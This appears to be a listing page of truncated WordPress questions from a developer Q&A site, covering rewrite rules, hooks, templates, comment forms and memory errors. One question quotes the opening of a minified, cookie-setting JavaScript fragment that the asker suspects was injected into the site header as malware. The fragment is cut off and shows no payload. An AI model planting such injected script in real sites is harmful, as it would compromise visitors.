wordpress

Need to make one RewriteRule play nicely with another, embarrassingly weak understanding of the principles of mod_rewrite standing in the way

Hey folks, I have the following system: Windows Server '03 IIS 6 (shoot me) PHP 5.2.14 Wordpress 3.0.1 WPML 1.8.1.2 I've added Wordpress to an existing high-traffic site, in a directory we'll call http://thehost/wordpress/ For mod_rewrite-like features, I'm using Helicon's ISAPI_Rewrite 3.1.0.76. I'm using it to enable "pretty" perm...

Visual/HTML Editor Issues with Text and Images

Hi, This is my first WordPress site and so a newbie to WordPress 3. I'm currently developing a site for a client and I am faced with the following issues/concerns with regards to WordPress Pages that have a Default Custom WordPress page template assigned to them, that I have created. In actual fact, the whole theme I created was from ...

calling a web service from WordPress

Hi All, How would I call a web service from one of my pages? It would go something like this: I call a web service with a parameter in side my page or form. The web service returns a value I store that value in a hidden field. I can't seem to find any instructions on the web to help me to this inside a WordPress form/page. Than...

How to write marketplace web project documentation?

When creating web projects (mostly XHTML/WORDPRESS THEMES) for sale on any given marketplace, what is the best way to go about writing technical manuals for users? ...

Valums AjaxUpload and Wordpress wp_handle_upload

I'm trying to implement the new version of AjaxUpload in my wordpress options panels and metaboxes... though I am not convinced I should change from the old version which I had working. this is the jauery that is calling the uploader function: var uploader = new qq.FileUploader({ // pass the dom node (ex. $(selector)[0] for jQuery user...

facebook page to wordpress

Maybe i mis something completely, but this site : http://www.tourisme-charlevoix.com/fr/ is having a facebook "iframe" style of the feed in there site.. a of two lines How do i build that from my facebook page for my wordpress site.... ...

WordPress comment_form() help

The new version of WordPress gas a comment_form() function. There are a few breakdowns of this new function out there, but I can't seem to wrap my head around adding a custom form field. For example, I'd like to have a field called 'Location,' and then display their location along with their comment. Would anyone out there be able to b...

Wordpress Get Template URL

I'm looking to return a template url rather than print it and bloginfo('template_url'); prints... anyone know of a version of this function I can use inside of a string I'm building to print at a later point? Example $html = '<td style="width:40px;"><img src="'; $html .= bloginfo('template_url'); // <-- messes up string becaus...

WordPress hook directly after body tag

Hello, One of the things that drives me crazy about wp devolopement is I'm never able to find the right hook so I figured I would ask here. What I'm trying to do is add a message to the top of each page by having my plugin add a function. What's the best hook to use. I want to insert conent right after the <body> tag. Thanks ...

How to get $_REQUEST[] through URL in wordpress .

Hi I have a problem in my site on which am working on localhost. I am using pretty urls in my localhost.I have custom page templates for all the sites every page has a different header and footer and the content in it. I used <div class="btn_container"><a href="issues/?page_id=1038" class="btn_1" title="Food"></a></div> <div class="bt...

Object of class WP_Error could not be converted to string

I create a subdomain in Wordpress MU and then when I go to that subdomain, I get this error: Catchable fatal error: Object of class WP_Error could not be converted to string in /home/pahouse1/public_html/wp-content/mu-plugins/lifetime /syncronize.php on line 450** Did anyone face the same issue? What can I do about this? ...

How to detect language in JavaScript?

I know that in Wordpress we can do the following: preg_match("/\p{Arabic}/u", get_the_title()) How can we do this in JavaScript? Thanks in advance. ...

Repeatting wordpress posts inside one single loop untill it reachers a certain number of posts

Take a look at this awesome code from John P Bloch. What this code does is: It looks to see how many posts are going to be displayed by default. If it's fewer than 20, it grabs the difference (in this case, it should grab 10 posts) and appends them to the current query. Then it recurses through itself to see if it's still under 20 posts...

Wordpress 3 - using wp_nav_menu function to generate breadcrumbs

Hi, I'm working on a site that is using the new wp_nav_menu function. What I'm wanting to do is use the wp_nav_menu to generate breadcrumbs on my site rather than using a plugin that generate the breadcrumbs from the URL. This is because I'm using a custom link in the menu, which doesn't register in the breadcrumbs. Has anyone looked...

Hide posts in wordpress

Hi, I've created new entities that are similar to posts which are displayed via my custom pages. When I create this custom entity I also create new post and attach post ID to custom entity, so I can post comments to my custom entity. I open page with my custom entity and comments are displayed too, and everything is great, except that ...

Wordpress: events grouped by month

Hello Within my WP site I have a category called 'events' where I am publishing event information using two custom fields: eventdate = human readable event date eventsortdate = YYYY/MM/DD to list events in the correct order. I have this bit of code from a helpful post here: http://www.davidrisley.com/events-list-with-wordpress/ <?p...

What is this? Google analytics cookie or malware?

I have a WordPress installation that has been targeted quite heavily by a phishing operation. I thought I had the security mostly covered except I found this in the header: var a=document.cookie;document.cookie="hop="+escape("hop")+";path=/";var b=navigator.appVersion,c=" "+document.cookie,d=null,e=0,f=0;if(c.length>0){e=c.indexOf(" ho...

Wordpress returning double values for get_author

I took over a Wordpress site and noticed a weird bug. Despite echoing a single get_author() on posts, the pages are displaying doubles for the author (i.e., AuthorAuthor). Any idea why this may happen? ...

Re-Use a section of PHP Code in Multiple PHP Files

Hi, I have a section of php code that I would like to place in a directory somewhere and then within my custom WordPress page templates, make reference to this code library at a specific point in my page template. Any help in doing this, would be much appreciated. Not sure if I can create my own wordpress hook to grab this code and pl...

How to decrease the memory consumption of a WordPress site?

The test site requires a lot of memory when viewing some category/archive pages. I met with the following error messages yesterday: Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 48 bytes) in /var/www/t/wp-includes/load.php on line 552 Fatal error: Allowed memory size of 209715200 bytes ex...